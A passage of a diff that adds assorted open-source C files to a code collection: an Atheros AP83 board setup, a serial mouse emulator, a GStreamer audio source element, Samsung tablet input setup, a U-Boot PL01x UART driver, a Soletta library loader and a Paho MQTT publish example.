+ .dev = { + .platform_data = &ap83_flash_data, + } +}; + +static struct gpio_led ap83_leds_gpio[] __initdata = { + { + .name = "ap83:green:jumpstart", + .gpio = AP83_GPIO_LED_JUMPSTART, + .active_low = 0, + }, { + .name = "ap83:green:power", + .gpio = AP83_GPIO_LED_POWER, + .active_low = 0, + }, { + .name = "ap83:green:wlan", + .gpio = AP83_GPIO_LED_WLAN, + .active_low = 0, + }, +}; + +static struct gpio_keys_button ap83_gpio_keys[] __initdata = { + { + .desc = "soft_reset", + .type = EV_KEY, + .code = KEY_RESTART, + .debounce_interval = AP83_KEYS_DEBOUNCE_INTERVAL, + .gpio = AP83_GPIO_BTN_RESET, + .active_low = 1, + }, { + .desc = "jumpstart", + .type = EV_KEY, + .code = KEY_WPS_BUTTON, + .debounce_interval = AP83_KEYS_DEBOUNCE_INTERVAL, + .gpio = AP83_GPIO_BTN_JUMPSTART, + .active_low = 1, + } +}; + +static struct resource ap83_040_spi_resources[] = { + [0] = { + .start = AR71XX_SPI_BASE, + .end = AR71XX_SPI_BASE + AR71XX_SPI_SIZE - 1, + .flags = IORESOURCE_MEM, + }, +}; + +static struct platform_device ap83_040_spi_device = { + .name = "ap83-spi", + .id = 0, + .resource = ap83_040_spi_resources, + .num_resources = ARRAY_SIZE(ap83_040_spi_resources), +}; + +static struct spi_gpio_platform_data ap83_050_spi_data = { + .miso = AP83_050_GPIO_VSC7385_MISO, + .mosi = AP83_050_GPIO_VSC7385_MOSI, + .sck = AP83_050_GPIO_VSC7385_SCK, + .num_chipselect = 1, +}; + +static struct platform_device ap83_050_spi_device = { + .name = "spi_gpio", + .id = 0, + .dev = { + .platform_data = &ap83_050_spi_data, + } +}; + +static void ap83_vsc7385_reset(void) +{ + ar71xx_device_stop(RESET_MODULE_GE1_PHY); + udelay(10); + ar71xx_device_start(RESET_MODULE_GE1_PHY); + mdelay(50); +} + +static struct vsc7385_platform_data ap83_vsc7385_data = { + .reset = ap83_vsc7385_reset, + .ucode_name = "vsc7385_ucode_ap83.bin", + .mac_cfg = { + .tx_ipg = 6, + .bit2 = 0, + .clk_sel = 3, + }, +}; + +static struct spi_board_info ap83_spi_info[] = { + { + .bus_num = 0, + .chip_select = 0, + .max_speed_hz = 25000000, + .modalias = "spi-vsc7385", + .platform_data = &ap83_vsc7385_data, + .controller_data = (void *) AP83_050_GPIO_VSC7385_CS, + } +}; + +static void __init ap83_generic_setup(void) +{ + u8 *eeprom = (u8 *) KSEG1ADDR(0x1fff1000); + + ar71xx_add_device_mdio(0, 0xfffffffe); + + ar71xx_init_mac(ar71xx_eth0_data.mac_addr, eeprom, 0); + ar71xx_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII; + ar71xx_eth0_data.phy_mask = 0x1; + + ar71xx_add_device_eth(0); + + ar71xx_init_mac(ar71xx_eth1_data.mac_addr, eeprom, 1); + ar71xx_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII; + ar71xx_eth1_data.speed = SPEED_1000; + ar71xx_eth1_data.duplex = DUPLEX_FULL; + + ar71xx_eth1_pll_data.pll_1000 = 0x1f000000; + + ar71xx_add_device_eth(1); + + ar71xx_add_device_leds_gpio(-1, ARRAY_SIZE(ap83_leds_gpio), + ap83_leds_gpio); + + ar71xx_register_gpio_keys_polled(-1, AP83_KEYS_POLL_INTERVAL, + ARRAY_SIZE(ap83_gpio_keys), + ap83_gpio_keys); + + ar71xx_add_device_usb(); + + ar9xxx_add_device_wmac(eeprom, NULL); + + platform_device_register(&ap83_flash_device); + + spi_register_board_info(ap83_spi_info, ARRAY_SIZE(ap83_spi_info)); +} + +static void __init ap83_040_setup(void) +{ + ap83_flash_data.is_shared = 1; + ap83_generic_setup(); + platform_device_register(&ap83_040_spi_device); +} + +static void __init ap83_050_setup(void) +{ + ap83_generic_setup(); + platform_device_register(&ap83_050_spi_device); +} + +static void __init ap83_setup(void) +{ + u8 *board_id = (u8 *) KSEG1ADDR(0x1fff1244); + unsigned int board_version; + + board_version = (unsigned int)(board_id[0] - '0'); + board_version += ((unsigned int)(board_id[1] - '0')) * 10; + + switch (board_version) { + case 40: + ap83_040_setup(); + break; + case 50: + ap83_050_setup(); + break; + default: + printk(KERN_WARNING "AP83-%03u board is not yet supported\n", + board_version); + } +} + +MIPS_MACHINE(AR71XX_MACH_AP83, "AP83", "Atheros AP83", ap83_setup); diff --git a/pool/shard011/C/0141581_mouse_serial.c b/pool/shard011/C/0141581_mouse_serial.c new file mode 100644 index 0000000000000000000000000000000000000000..36221c1bbf372a99045659053fe145a08bb1d621 --- /dev/null +++ b/pool/shard011/C/0141581_mouse_serial.c @@ -0,0 +1,72 @@ +#include "ibm.h" +#include "mouse.h" +#include "pic.h" +#include "serial.h" +#include "timer.h" + +static int oldb=0; + +void mouse_serial_poll(int x, int y, int b) +{ + uint8_t mousedat[3]; + + if (!(serial1.ier & 1)) + return; + if (!x && !y && b==oldb) return; + + oldb=b; + if (x>127) x=127; + if (y>127) y=127; + if (x<-128) x=-128; + if (y<-128) y=-128; + + /*Use Microsoft format*/ + mousedat[0]=0x40; + mousedat[0]|=(((y>>6)&3)<<2); + mousedat[0]|=((x>>6)&3); + if (b&1) mousedat[0]|=0x20; + if (b&2) mousedat[0]|=0x10; + mousedat[1]=x&0x3F; + mousedat[2]=y&0x3F; + + if (!(serial1.mctrl&0x10)) + { + pclog("Serial data %02X %02X %02X\n", mousedat[0], mousedat[1], mousedat[2]); + serial_write_fifo(&serial1, mousedat[0]); + serial_write_fifo(&serial1, mousedat[1]); + serial_write_fifo(&serial1, mousedat[2]); + } +} + +void mouse_serial_rcr(void *p) +{ + mousepos=-1; + mousedelay=5000 * (1 << TIMER_SHIFT); +} + +void mousecallback(void *p) +{ + SERIAL *serial = (SERIAL *)p; + mousedelay = 0; + if (mousepos == -1) + { + mousepos = 0; +/* serial_fifo_read = serial_fifo_write = 0; + serial.lsr &= ~1;*/ + serial_write_fifo(serial, 'M'); + } +/* else if (serial_fifo_read != serial_fifo_write) + { + serial.iir=4; + serial.lsr|=1; + if (serial.mctrl&8) picint(0x10); + }*/ +} + +void mouse_serial_init() +{ + mouse_poll = mouse_serial_poll; + serial1.rcr_callback = mouse_serial_rcr; + timer_add(mousecallback, &mousedelay, &mousedelay, &serial1); +} + diff --git a/pool/shard011/C/0141582_gstautoaudiosrc.c b/pool/shard011/C/0141582_gstautoaudiosrc.c new file mode 100644 index 0000000000000000000000000000000000000000..e60b24c86ab35729197a5ac5e259ba7993ba9381 --- /dev/null +++ b/pool/shard011/C/0141582_gstautoaudiosrc.c @@ -0,0 +1,73 @@ +/* GStreamer + * (c) 2005 Ronald S. Bultje + * (c) 2006 Jan Schmidt + * (c) 2008 Stefan Kost + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, + * Boston, MA 02110-1301, USA. + */ + +/** + * SECTION:element-autoaudiosrc + * @see_also: autovideosrc, alsasrc, osssrc + * + * autoaudiosrc is an audio source that automatically detects an appropriate + * audio source to use. It does so by scanning the registry for all elements + * that have Source and Audio in the class field + * of their element information, and also have a non-zero autoplugging rank. + * + * + * Example launch line + * |[ + * gst-launch-1.0 -v -m autoaudiosrc ! audioconvert ! audioresample ! autoaudiosink + * ]| + * + */ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include "gstautoaudiosrc.h" + +G_DEFINE_TYPE (GstAutoAudioSrc, gst_auto_audio_src, GST_TYPE_AUTO_DETECT); + +static GstStaticPadTemplate src_template = GST_STATIC_PAD_TEMPLATE ("src", + GST_PAD_SRC, + GST_PAD_ALWAYS, + GST_STATIC_CAPS_ANY); + +static void +gst_auto_audio_src_class_init (GstAutoAudioSrcClass * klass) +{ + GstElementClass *eklass = GST_ELEMENT_CLASS (klass); + + gst_element_class_add_pad_template (eklass, + gst_static_pad_template_get (&src_template)); + gst_element_class_set_static_metadata (eklass, "Auto audio source", + "Source/Audio", + "Wrapper audio source for automatically detected audio source", + "Jan Schmidt , " + "Stefan Kost "); +} + +static void +gst_auto_audio_src_init (GstAutoAudioSrc * src) +{ + GstAutoDetect *autodetect = GST_AUTO_DETECT (src); + + autodetect->media_klass = "Audio"; + autodetect->flag = GST_ELEMENT_FLAG_SOURCE; +} diff --git a/pool/shard011/C/0141583_board-clt3g-input.c b/pool/shard011/C/0141583_board-clt3g-input.c new file mode 100644 index 0000000000000000000000000000000000000000..ea8cad682db8ada7599d92f2a42698628bd6b76a --- /dev/null +++ b/pool/shard011/C/0141583_board-clt3g-input.c @@ -0,0 +1,180 @@ +/* arch/x86/platform/intel-mid/board-clt3g-input.c + * + * Copyright (C) 2013 Samsung Electronics Co, Ltd. + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and + * may be copied, distributed, and modified under those terms. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "device_libs/platform_gpio_keys.h" +#include "device_libs/platform_s7301.h" + +#include "sec_libs/sec_common.h" +#include "board-clt3g.h" +#include + +#define CTP3G_NR_NOT_REQUIRED 1 + +enum { + GPIO_TOUCH_nINT = 0, + GPIO_TOUCH_EN, +}; + +static struct gpio tsp_gpios[] = { + [GPIO_TOUCH_nINT] = { + .flags = GPIOF_IN, + .label = "TSP_INT", + }, + [GPIO_TOUCH_EN] = { + .flags = GPIOF_OUT_INIT_HIGH, + .label = "TSP_LDO_ON", + }, +}; + +static struct gpio_keys_button clt3g_button[] = { + {KEY_VOLUMEUP, -1, 1, "VOL_UP", EV_KEY, 0, 20}, + {KEY_VOLUMEDOWN, -1, 1, "VOL_DN", EV_KEY, 0, 20}, + /* TODO: remove from counts after this line */ + {KEY_HOMEPAGE, -1, 0, "EXT_WAKEUP", EV_KEY, 0, 20}, +}; + +static void tsp_set_power(bool on) +{ + if (on) { + pr_debug("tsp: power on.\n"); + gpio_set_value(tsp_gpios[GPIO_TOUCH_EN].gpio, 1); + mdelay(300); + } else { + pr_debug("tsp: power off.\n"); + gpio_set_value(tsp_gpios[GPIO_TOUCH_EN].gpio, 0); + mdelay(50); + } +} + +static int tsp_platform_init(void) +{ + return gpio_request_array(tsp_gpios, ARRAY_SIZE(tsp_gpios)); +} + +static int tsp_platform_deinit(void) +{ + gpio_free_array(tsp_gpios, ARRAY_SIZE(tsp_gpios)); + + return 0; +} + +static struct synaptics_fw_info clt3g_tsp_fw_info = { + .vendor = "SY", +}; + +void *synaptics_s7301_platform_data(void *info) +{ + static struct sec_ts_platform_data platform_data; + struct i2c_board_info *i2c_info = info; + int i; + + + for (i = 0; i < ARRAY_SIZE(tsp_gpios); i++) + tsp_gpios[i].gpio = get_gpio_by_name(tsp_gpios[i].label); + + platform_data.i2c_address = (unsigned short)i2c_info->addr; + + platform_data.platform_init = tsp_platform_init; + platform_data.platform_deinit = tsp_platform_deinit; + + platform_data.gpio_en = tsp_gpios[GPIO_TOUCH_EN].gpio; + platform_data.gpio_irq = tsp_gpios[GPIO_TOUCH_nINT].gpio; + + platform_data.model_name = "S7301"; + platform_data.fw_info = &clt3g_tsp_fw_info, + platform_data.fw_name = "synaptics/p5100.fw"; + platform_data.ext_fw_name = "/mnt/sdcard/p5100.img"; + platform_data.rx_channel_no = 42; /* Y channel line */ + platform_data.tx_channel_no = 7; /* X channel line */ + platform_data.x_pixel_size = 1279; + platform_data.y_pixel_size = 799; + platform_data.pivot = false; + platform_data.set_power = tsp_set_power; + + return &platform_data; +} + +void __init sec_clt3g_input_init_early(void) +{ + intel_mid_customize_gpio_keys(clt3g_button, + ARRAY_SIZE(clt3g_button) - CTP3G_NR_NOT_REQUIRED); +} + +static ssize_t sec_key_pressed_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + unsigned int key_press_status = 0; + unsigned int gpio; + unsigned int value; + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(clt3g_button); i++) { + gpio = clt3g_button[i].gpio; + if (gpio < 0) + continue; + value = gpio_get_value(gpio); + value = clt3g_button[i].active_low ? !value : value; + key_press_status |= (!!value) << i; + } + + return sprintf(buf, "%u\n", key_press_status); +} + +static DEVICE_ATTR(sec_key_pressed, S_IRUGO, sec_key_pressed_show, NULL); + +static int __init clt3g_create_sec_key_dev(void) +{ + struct device *sec_key; + static dev_t key; + + sec_key = device_create(sec_class, NULL, key, NULL, "sec_key"); + if (unlikely(!sec_key)) { + pr_err("(%s): failed to create sysfs (sec_key)!\n", + __func__); + return -ENOMEM; + } + + if (device_create_file(sec_key, &dev_attr_sec_key_pressed) < 0) { + pr_err("(%s): failed to create device file (sec_key)!\n", + __func__); + device_destroy(sec_class, key); + return -ENOMEM; + } + + return 0; +} + +static void __init clt3g_button_init(void) +{ + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(clt3g_button); i++) + clt3g_button[i].gpio = + get_gpio_by_name(clt3g_button[i].desc); + + clt3g_create_sec_key_dev(); +} + +void __init sec_clt3g_input_init_rest(void) +{ + clt3g_button_init(); +} diff --git a/pool/shard011/C/0141584_serial_pl01x.c b/pool/shard011/C/0141584_serial_pl01x.c new file mode 100644 index 0000000000000000000000000000000000000000..eb8ec393ff2395a0a89d3d8491a40c63a4242d58 --- /dev/null +++ b/pool/shard011/C/0141584_serial_pl01x.c @@ -0,0 +1,258 @@ +/* Copyright Statement: + * + * This software/firmware and related documentation ("MediaTek Software") are + * protected under relevant copyright laws. The information contained herein + * is confidential and proprietary to MediaTek Inc. and/or its licensors. + * Without the prior written permission of MediaTek inc. and/or its licensors, + * any reproduction, modification, use or disclosure of MediaTek Software, + * and information contained herein, in whole or in part, shall be strictly prohibited. + * + * MediaTek Inc. (C) 2010. All rights reserved. + * + * BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES + * THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") + * RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON + * AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. + * NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE + * SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR + * SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH + * THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES + * THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES + * CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK + * SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR + * STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND + * CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE, + * AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE, + * OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO + * MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. + * + * The following software/firmware and/or related documentation ("MediaTek Software") + * have been modified by MediaTek Inc. All revisions are subject to any receiver's + * applicable license agreements with MediaTek Inc. + */ + +/* + * (C) Copyright 2000 + * Rob Taylor, Flying Pig Systems. robt@flyingpig.com. + * + * (C) Copyright 2004 + * ARM Ltd. + * Philippe Robin, + * + * See file CREDITS for list of people who contributed to this + * project. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, + * MA 02111-1307 USA + */ + +/* Simple U-Boot driver for the PrimeCell PL010/PL011 UARTs */ + +#include +#include + +#include "serial_pl01x.h" + +#define IO_WRITE(addr, val) (*(volatile unsigned int *)(addr) = (val)) +#define IO_READ(addr) (*(volatile unsigned int *)(addr)) + +/* + * Integrator AP has two UARTs, we use the first one, at 38400-8-N-1 + * Integrator CP has two UARTs, use the first one, at 38400-8-N-1 + * Versatile PB has four UARTs. + */ +#define CONSOLE_PORT CONFIG_CONS_INDEX +#define baudRate CONFIG_BAUDRATE +static volatile unsigned char *const port[] = CONFIG_PL01x_PORTS; +#define NUM_PORTS (sizeof(port)/sizeof(port[0])) + +static void pl01x_putc (int portnum, char c); +static int pl01x_getc (int portnum); +static int pl01x_tstc (int portnum); + +#ifdef CONFIG_PL010_SERIAL + +int serial_init (void) +{ + unsigned int divisor; + + /* + ** First, disable everything. + */ + IO_WRITE (port[CONSOLE_PORT] + UART_PL010_CR, 0x0); + + /* + ** Set baud rate + ** + */ + switch (baudRate) { + case 9600: + divisor = UART_PL010_BAUD_9600; + break; + + case 19200: + divisor = UART_PL010_BAUD_9600; + break; + + case 38400: + divisor = UART_PL010_BAUD_38400; + break; + + case 57600: + divisor = UART_PL010_BAUD_57600; + break; + + case 115200: + divisor = UART_PL010_BAUD_115200; + break; + + default: + divisor = UART_PL010_BAUD_38400; + } + + IO_WRITE (port[CONSOLE_PORT] + UART_PL010_LCRM, + ((divisor & 0xf00) >> 8)); + IO_WRITE (port[CONSOLE_PORT] + UART_PL010_LCRL, (divisor & 0xff)); + + /* + ** Set the UART to be 8 bits, 1 stop bit, no parity, fifo enabled. + */ + IO_WRITE (port[CONSOLE_PORT] + UART_PL010_LCRH, + (UART_PL010_LCRH_WLEN_8 | UART_PL010_LCRH_FEN)); + + /* + ** Finally, enable the UART + */ + IO_WRITE (port[CONSOLE_PORT] + UART_PL010_CR, (UART_PL010_CR_UARTEN)); + + return 0; +} + +#endif /* CONFIG_PL010_SERIAL */ + +#ifdef CONFIG_PL011_SERIAL + +int serial_init (void) +{ + unsigned int temp; + unsigned int divider; + unsigned int remainder; + unsigned int fraction; + + /* + ** First, disable everything. + */ + IO_WRITE (port[CONSOLE_PORT] + UART_PL011_CR, 0x0); + + /* + ** Set baud rate + ** + ** IBRD = UART_CLK / (16 * BAUD_RATE) + ** FBRD = ROUND((64 * MOD(UART_CLK,(16 * BAUD_RATE))) / (16 * BAUD_RATE)) + */ + temp = 16 * baudRate; + divider = CONFIG_PL011_CLOCK / temp; + remainder = CONFIG_PL011_CLOCK % temp; + temp = (8 * remainder) / baudRate; + fraction = (temp >> 1) + (temp & 1); + + IO_WRITE (port[CONSOLE_PORT] + UART_PL011_IBRD, divider); + IO_WRITE (port[CONSOLE_PORT] + UART_PL011_FBRD, fraction); + + /* + ** Set the UART to be 8 bits, 1 stop bit, no parity, fifo enabled. + */ + IO_WRITE (port[CONSOLE_PORT] + UART_PL011_LCRH, + (UART_PL011_LCRH_WLEN_8 | UART_PL011_LCRH_FEN)); + + /* + ** Finally, enable the UART + */ + IO_WRITE (port[CONSOLE_PORT] + UART_PL011_CR, + (UART_PL011_CR_UARTEN | UART_PL011_CR_TXE | + UART_PL011_CR_RXE)); + + return 0; +} + +#endif /* CONFIG_PL011_SERIAL */ + +void serial_putc (const char c) +{ + if (c == '\n') + pl01x_putc (CONSOLE_PORT, '\r'); + + pl01x_putc (CONSOLE_PORT, c); +} + +void serial_puts (const char *s) +{ + while (*s) { + serial_putc (*s++); + } +} + +int serial_getc (void) +{ + return pl01x_getc (CONSOLE_PORT); +} + +int serial_tstc (void) +{ + return pl01x_tstc (CONSOLE_PORT); +} + +void serial_setbrg (void) +{ +} + +static void pl01x_putc (int portnum, char c) +{ + /* Wait until there is space in the FIFO */ + while (IO_READ (port[portnum] + UART_PL01x_FR) & UART_PL01x_FR_TXFF) + WATCHDOG_RESET(); + + /* Send the character */ + IO_WRITE (port[portnum] + UART_PL01x_DR, c); +} + +static int pl01x_getc (int portnum) +{ + unsigned int data; + + /* Wait until there is data in the FIFO */ + while (IO_READ (port[portnum] + UART_PL01x_FR) & UART_PL01x_FR_RXFE) + WATCHDOG_RESET(); + + data = IO_READ (port[portnum] + UART_PL01x_DR); + + /* Check for an error flag */ + if (data & 0xFFFFFF00) { + /* Clear the error */ + IO_WRITE (port[portnum] + UART_PL01x_ECR, 0xFFFFFFFF); + return -1; + } + + return (int) data; +} + +static int pl01x_tstc (int portnum) +{ + WATCHDOG_RESET(); + return !(IO_READ (port[portnum] + UART_PL01x_FR) & + UART_PL01x_FR_RXFE); +} diff --git a/pool/shard011/C/0141585_sol-lib-loader.c b/pool/shard011/C/0141585_sol-lib-loader.c new file mode 100644 index 0000000000000000000000000000000000000000..9826565141009d60636066afb567911e99bcda83 --- /dev/null +++ b/pool/shard011/C/0141585_sol-lib-loader.c @@ -0,0 +1,205 @@ +/* + * This file is part of the Soletta Project + * + * Copyright (C) 2015 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include +#include +#include +#include + +#include "sol-lib-loader.h" +#include "sol-log.h" +#include "sol-util-internal.h" +#include "sol-vector.h" + +struct sol_lib_entry { + char *name; + void *handle; + void *symbol; +}; + +struct sol_lib_loader { + struct sol_vector loaded_cache; + char *dir; + char *symbol_name; + bool (*check_func)(const char *path, const char *symbol_name, void *symbol); +}; + +struct sol_lib_loader * +sol_lib_loader_new( + const char *dir, + const char *symbol_name, + bool (*check_func)(const char *path, const char *symbol_name, void *symbol)) +{ + struct sol_lib_loader *loader; + char *dir_copy = NULL, *symbol_name_copy = NULL; + + SOL_NULL_CHECK(dir, NULL); + SOL_NULL_CHECK(symbol_name, NULL); + + dir_copy = strdup(dir); + SOL_NULL_CHECK_GOTO(dir_copy, error); + + symbol_name_copy = strdup(symbol_name); + SOL_NULL_CHECK_GOTO(symbol_name_copy, error); + + loader = calloc(1, sizeof(struct sol_lib_loader)); + SOL_NULL_CHECK_GOTO(loader, error); + + sol_vector_init(&loader->loaded_cache, sizeof(struct sol_lib_entry)); + loader->dir = dir_copy; + loader->symbol_name = symbol_name_copy; + loader->check_func = check_func; + + return loader; + +error: + free(dir_copy); + free(symbol_name_copy); + return NULL; +} + +struct sol_lib_loader * +sol_lib_loader_new_in_rootdir( + const char *dir, + const char *symbol_name, + bool (*check_func)(const char *path, const char *symbol_name, void *symbol)) +{ + char path[PATH_MAX], install_rootdir[PATH_MAX] = {}; + int err; + + err = sol_util_get_rootdir(install_rootdir, sizeof(install_rootdir)); + SOL_INT_CHECK(err, >= (int)sizeof(install_rootdir), false); + + err = snprintf(path, sizeof(path), "%s%s", install_rootdir, dir); + SOL_INT_CHECK(err, >= (int)sizeof(path), NULL); + SOL_INT_CHECK(err, < 0, NULL); + + return sol_lib_loader_new(path, symbol_name, check_func); +} + +void +sol_lib_loader_del(struct sol_lib_loader *loader) +{ + struct sol_lib_entry *entry; + uint16_t i; + + if (!loader) + return; + + SOL_VECTOR_FOREACH_REVERSE_IDX (&loader->loaded_cache, entry, i) { + dlclose(entry->handle); + free(entry->name); + } + + sol_vector_clear(&loader->loaded_cache); + free(loader->dir); + free(loader->symbol_name); + free(loader); +} + +void * +sol_lib_load(struct sol_lib_loader *loader, const char *name) +{ + struct sol_lib_entry *entry; + void *handle, *symbol; + char path[PATH_MAX] = {}; + char *name_copy = NULL; + uint16_t i; + int err; + + if (!name || !*name) { + errno = -EINVAL; + return NULL; + } + + SOL_DBG("Trying to load library named '%s'", name); + + SOL_VECTOR_FOREACH_IDX (&loader->loaded_cache, entry, i) { + if (streq(entry->name, name)) { + SOL_DBG("Found cached handle"); + return entry->symbol; + } + } + + name_copy = strdup(name); + if (!name_copy) + return NULL; + + err = snprintf(path, sizeof(path), "%s/%s.so", loader->dir, name); + if (err >= (int)sizeof(path) || err < 0) { + err = -EINVAL; + goto error_path; + } + + handle = dlopen(path, RTLD_LAZY | RTLD_LOCAL | RTLD_NODELETE); + if (!handle) { + SOL_WRN("Could not load module '%s': %s", path, dlerror()); + goto error_dlopen; + } + + symbol = dlsym(handle, loader->symbol_name); + if (!symbol) { + SOL_WRN("Could not find symbol '%s' in module '%s': %s", + loader->symbol_name, path, dlerror()); + goto error_symbol; + } + + if (loader->check_func && !loader->check_func(path, loader->symbol_name, symbol)) { + SOL_WRN("Module '%s' rejected by check function", path); + goto error_check; + } + + entry = sol_vector_append(&loader->loaded_cache); + if (!entry) { + SOL_WRN("No memory to save loaded library entry for '%s'", path); + goto error_vector; + } + + entry->name = name_copy; + entry->handle = handle; + entry->symbol = symbol; + + SOL_INF("Loaded module '%s' from '%s'", entry->name, path); + return entry->symbol; + +error_vector: +error_check: +error_symbol: + dlclose(handle); + +error_dlopen: +error_path: + free(name_copy); + errno = -err; + return NULL; +} diff --git a/pool/shard011/C/0141586_MQTTClient_publish.c b/pool/shard011/C/0141586_MQTTClient_publish.c new file mode 100644 index 0000000000000000000000000000000000000000..fc714171d20ac32fc0c87946b0f339670936d199 --- /dev/null +++ b/pool/shard011/C/0141586_MQTTClient_publish.c @@ -0,0 +1,60 @@ +/******************************************************************************* + * Copyright (c) 2012, 2017 IBM Corp. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * and Eclipse Distribution License v1.0 which accompany this distribution. + * + * The Eclipse Public License is available at + * http://www.eclipse.org/legal/epl-v10.html + * and the Eclipse Distribution License is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * Contributors: + * Ian Craggs - initial contribution + *******************************************************************************/ + +#include +#include +#include +#include "MQTTClient.h" + +#define ADDRESS "tcp://localhost:1883" +#define CLIENTID "ExampleClientPub" +#define TOPIC "MQTT Examples" +#define PAYLOAD "Hello World!" +#define QOS 1 +#define TIMEOUT 10000L + +int main(int argc, char* argv[]) +{ + MQTTClient client; + MQTTClient_connectOptions conn_opts = MQTTClient_connectOptions_initializer; + MQTTClient_message pubmsg = MQTTClient_message_initializer; + MQTTClient_deliveryToken token; + int rc; + + MQTTClient_create(&client, ADDRESS, CLIENTID, + MQTTCLIENT_PERSISTENCE_NONE, NULL); + conn_opts.keepAliveInterval = 20; + conn_opts.cleansession = 1; + + if ((rc = MQTTClient_connect(client, &conn_opts)) != MQTTCLIENT_SUCCESS) + { + printf("Failed to connect, return code %d\n", rc); + exit(EXIT_FAILURE); + } + pubmsg.payload = PAYLOAD; + pubmsg.payloadlen = strlen(PAYLOAD); + pubmsg.qos = QOS; + pubmsg.retained = 0; + MQTTClient_publishMessage(client, TOPIC, &pubmsg, &token); + printf("Waiting for up to %d seconds for publication of %s\n" + "on topic %s for client with ClientID: %s\n", + (int)(TIMEOUT/1000), PAYLOAD, TOPIC, CLIENTID); + rc = MQTTClient_waitForCompletion(client, token, TIMEOUT); + printf("Message with delivery token %d delivered\n", token); + MQTTClient_disconnect(client, 10000); + MQTTClient_destroy(&client); + return rc; +} diff --git a/pool/shard011/C/0141587_rtc-tile.c b/pool/shard011/C/0141587_rtc-tile.c new file mode 100644 index 0000000000000000000000000000000000000000..ff9632eb79f203662b4fcfe577c0ee9ddf72bbd8 --- /dev/null +++ b/pool/shard011/C/0141587_rtc-tile.c @@ -0,0 